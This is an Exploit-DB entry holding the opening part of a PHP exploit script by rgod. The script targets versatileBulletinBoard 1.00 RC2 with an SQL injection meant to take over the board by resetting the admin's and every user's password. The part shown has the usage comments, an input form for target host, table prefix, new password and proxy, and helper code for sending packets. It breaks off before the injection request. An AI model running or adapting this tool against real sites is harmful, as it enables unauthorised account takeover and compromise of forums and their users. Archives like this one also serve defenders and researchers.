Exploit-DB #1245
Description: versatileBulletinBoard 1.00 RC2 - Board Takeover (SQL Injection)
Type: webapps
Platform: php
Date: 2005-10-10
Author: rgod

Exploit:
<?php
#   --- versatile_xpl.php                                    4.08 11/10/2005   #
#                                                                              #
#   versatileBulletinBoard 1.00 RC2 ( possibly prior versions) SQL injection / #
#   board takeover                                                             #
#                                                                              #
#   this exploit describes the vulnerability described here:                   #
#   http://rgod.altervista.org/versatile100RC2.html                            #
#   with a change: with magic_quotes both on or off, you can reset admin pass  #
#   (look STEP 2b...)                                                          #
#                                                                              #
#                                by rgod                                       #
#                      site: http://rgod.altervista.org                        #
#                                                                              #
#   make these changes in php.ini if you have troubles                         #
#   to launch this script:                                                     #
#   allow_call_time_pass_reference = on                                        #
#   register_globals = on                                                      #
#                                                                              #
#   usage: launch this script from Apache, fill requested fields, then         #
#   reset any user / admin password right now!                                 #
#                                                                              #
#   Sun-Tzu: "Let your rapidity be that of the wind"                           #

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo'<html><head><title>versatileBulletinBoard 1.00 RC2 SQL Injection/board take
over</title><meta http-equiv="Content-Type" content="text/html;charset=iso-8859-
1"><style type="text/css"> body {background-color:#111111;SCROLLBAR-ARROW-COLOR:
#ffffff;SCROLLBAR-BASE-COLOR: black;CURSOR: crosshair;color: #1CB081;}       img
{background-color: #FFFFFF !important}input{background-color:#303030 !important}
option{background-color:#303030 !important}textarea  {background-color:  #303030
!important}input{color: #1CB081 !important} option   {color: #1CB081 !important}
textarea {color:#1CB081 !important}checkbox{background-color:#303030 !important}
select {font-weight: normal; color: #1CB081;  background-color:  #303030;}  body
{font-size:8pt !important; background-color:#111111; body * {font-size:      8pt
!important} h1 {font-size: 0.8em !important} h2 {font-size:0.8em  !important} h3
{font-size: 0.8em !important}h4,h5,  h6{ font-size:  0.8em  !important} h1  font
{font-size:  0.8em !important}h2 font  {font-size:  0.8em  !important} h3   font
{font-size: 0.8em !important}h4 font,h5 font,h6 font{font-size:0.8em !important}
* {font-style: normal !important} *{text-decoration: none !important}    a:link,
a:active,a:visited{text-decoration:none;color:#999900;} a:hover{text-decoration:
underline;color:#1CB081;}.Stile5{font-family:Verdana,Arial,Helvetica,sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
versatileBulletinBoard 1.00 RC2 (possibly prior versions) SQL injection / board
takeover </p><p class="Stile6"> a  script  by rgod  at <a href="http://rgod.alte
rvista.org" target="_blank"> http://rgod.altervista.org</a></p><table width="84%
">  <tr> <td  width="43%">        <form  name="form1"  method="post"  action="'.
$SERVER[PHP_SELF].'?path=value&host=value&port=value&proxy=value&newpass=value&t
able_prefix=value"><p><input type="text" name="host">      <span class="Stile5">
hostname (ex: www.sitename.com)</span></p><p><input  type="text"    name="path">
<span class="Stile5"> path (ex:/versatile/ or /forum/ or just /)</span></p>  <p>
<input type="text" name="port"><span class="Stile5">specify a port other than 80
(default value) </span> </p> <p> <input  type="text" name="table_prefix"  ><span
class="Stile5">usually vbb (default value) or vbb_        </span></p> <p> <input
type="text" name="newpass"><span class="Stile5">new password for all users!   ;)
</span></p><p><input type="text" name="proxy"><span class="Stile5"> send exploit
through an HTTP proxy (ip:port)</span></p><p><input  type="submit" name="Submit"
value="go!"></p></form></td></tr></table></body></html>';

function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
             $ji=0;
             $ci++;
             echo "<td>&nbsp;&nbsp;</td>";
             for ($li=0; $li<=15; $li++)
                      { echo "<td>".$headeri[$li+$ki]."</td>";
			    }
            $ki=$ki+16;
            echo "</tr><tr>";
            }
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo "<td>&nbsp&nbsp</td>";
                       }

for ($li=$ci*16; $li<=strlen($headeri); $li++)
                      { echo "<td>".$headeri[$li]."</td>";
			    }
echo "</tr></table>";
}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket($packet)
{
global $proxy, $host, $port, $html;
if ($proxy=='')
           {$ock=fsockopen(gethostbyname($host),$port);
            if (!$ock) { echo 'No response from '.htmlentities($host).'...';
			die;
		       }}

             else
           {
	    if (!eregi($proxy_regex,$proxy))
	    {echo htmlentities($proxy).' -> not a valid proxy...';